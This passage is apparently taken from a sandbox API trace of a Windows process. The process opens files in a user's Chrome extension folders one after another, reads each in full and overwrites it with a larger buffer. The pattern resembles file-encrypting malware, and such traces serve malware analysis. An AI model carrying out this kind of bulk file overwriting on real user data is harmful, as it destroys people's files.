lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.597] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e0bd18, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0bd18*, lpNumberOfBytesRead=0x340f2bc*=0x110, lpOverlapped=0x0) returned 1 [0061.598] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.598] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x698, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x698, lpOverlapped=0x0) returned 1 [0061.598] CloseHandle (hObject=0x1b0) returned 1 [0061.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.599] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.599] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xd6 [0061.599] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.599] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.599] ReleaseMutex (hMutex=0x128) returned 1 [0061.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.599] ReadFile (in: hFile=0x1b0, lpBuffer=0x2592ac8, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2592ac8*, lpNumberOfBytesRead=0x340f2bc*=0xd6, lpOverlapped=0x0) returned 1 [0061.600] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.600] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65e, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x65e, lpOverlapped=0x0) returned 1 [0061.600] CloseHandle (hObject=0x1b0) returned 1 [0061.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.601] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.601] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe6 [0061.601] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.601] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.601] ReleaseMutex (hMutex=0x128) returned 1 [0061.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.601] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613268, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613268*, lpNumberOfBytesRead=0x340f2bc*=0xe6, lpOverlapped=0x0) returned 1 [0061.602] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.602] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66e, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x66e, lpOverlapped=0x0) returned 1 [0061.602] CloseHandle (hObject=0x1b0) returned 1 [0061.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.603] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.603] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x110 [0061.603] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.603] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.603] ReleaseMutex (hMutex=0x128) returned 1 [0061.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.603] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e0bd18, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0bd18*, lpNumberOfBytesRead=0x340f2bc*=0x110, lpOverlapped=0x0) returned 1 [0061.604] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.604] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x698, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x698, lpOverlapped=0x0) returned 1 [0061.605] CloseHandle (hObject=0x1b0) returned 1 [0061.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.605] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.605] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xd1 [0061.606] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.606] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.606] ReleaseMutex (hMutex=0x128) returned 1 [0061.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.606] ReadFile (in: hFile=0x1b0, lpBuffer=0x2564448, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2564448*, lpNumberOfBytesRead=0x340f2bc*=0xd1, lpOverlapped=0x0) returned 1 [0061.607] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.607] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x659, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x659, lpOverlapped=0x0) returned 1 [0061.607] CloseHandle (hObject=0x1b0) returned 1 [0061.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.608] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.608] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xcf [0061.608] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.608] ReleaseMutex (hMutex=0x128) returned 1 [0061.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.608] ReadFile (in: hFile=0x1b0, lpBuffer=0x2564448, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2564448*, lpNumberOfBytesRead=0x340f2bc*=0xcf, lpOverlapped=0x0) returned 1 [0061.609] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.609] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x657, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x657, lpOverlapped=0x0) returned 1 [0061.609] CloseHandle (hObject=0x1b0) returned 1 [0061.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.610] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.610] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xd8 [0061.610] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.610] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.610] ReleaseMutex (hMutex=0x128) returned 1 [0061.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.610] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.610] ReadFile (in: hFile=0x1b0, lpBuffer=0x2592ac8, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2592ac8*, lpNumberOfBytesRead=0x340f2bc*=0xd8, lpOverlapped=0x0) returned 1 [0061.611] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.611] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x660, lpOverlapped=0x0) returned 1 [0061.611] CloseHandle (hObject=0x1b0) returned 1 [0061.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.612] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.612] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe4 [0061.612] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.612] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.612] ReleaseMutex (hMutex=0x128) returned 1 [0061.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.612] ReadFile (in: hFile=0x1b0, lpBuffer=0x2592ac8, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2592ac8*, lpNumberOfBytesRead=0x340f2bc*=0xe4, lpOverlapped=0x0) returned 1 [0061.613] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.613] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x66c, lpOverlapped=0x0) returned 1 [0061.613] CloseHandle (hObject=0x1b0) returned 1 [0061.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.614] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.614] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xdd [0061.614] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.614] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.614] ReleaseMutex (hMutex=0x128) returned 1 [0061.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0061.614] ReadFile (in: hFile=0x1b0, lpBuffer=0x2592ac8, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2592ac8*, lpNumberOfBytesRead=0x340f2bc*=0xdd, lpOverlapped=0x0) returned 1 [0061.615] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.615] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x665, lpOverlapped=0x0) returned 1 [0061.615] CloseHandle (hObject=0x1b0) returned 1 [0061.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0061.616] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.616] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x160 [0061.616] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0061.616] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0061.616] ReleaseMutex (hMutex=0x128) returned 1 [0061.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="computed_hashes.json", lpUsedDefaultChar=0x0) returned 20 [0061.616] ReadFile (in: hFile=0x1b0, lpBuffer=0x2636828, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2636828*, lpNumberOfBytesRead=0x340f2bc*=0x160, lpOverlapped=0x0) returned 1 [0061.617] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0061.617] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e8, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6e8, lpOverlapped=0x0) returned 1 [0061.617] CloseHandle (hObject=0x1b0) returned 1 [0061.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.818] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.818] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x149 [0062.818] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.818] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.818] ReleaseMutex (hMutex=0x128) returned 1 [0062.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, 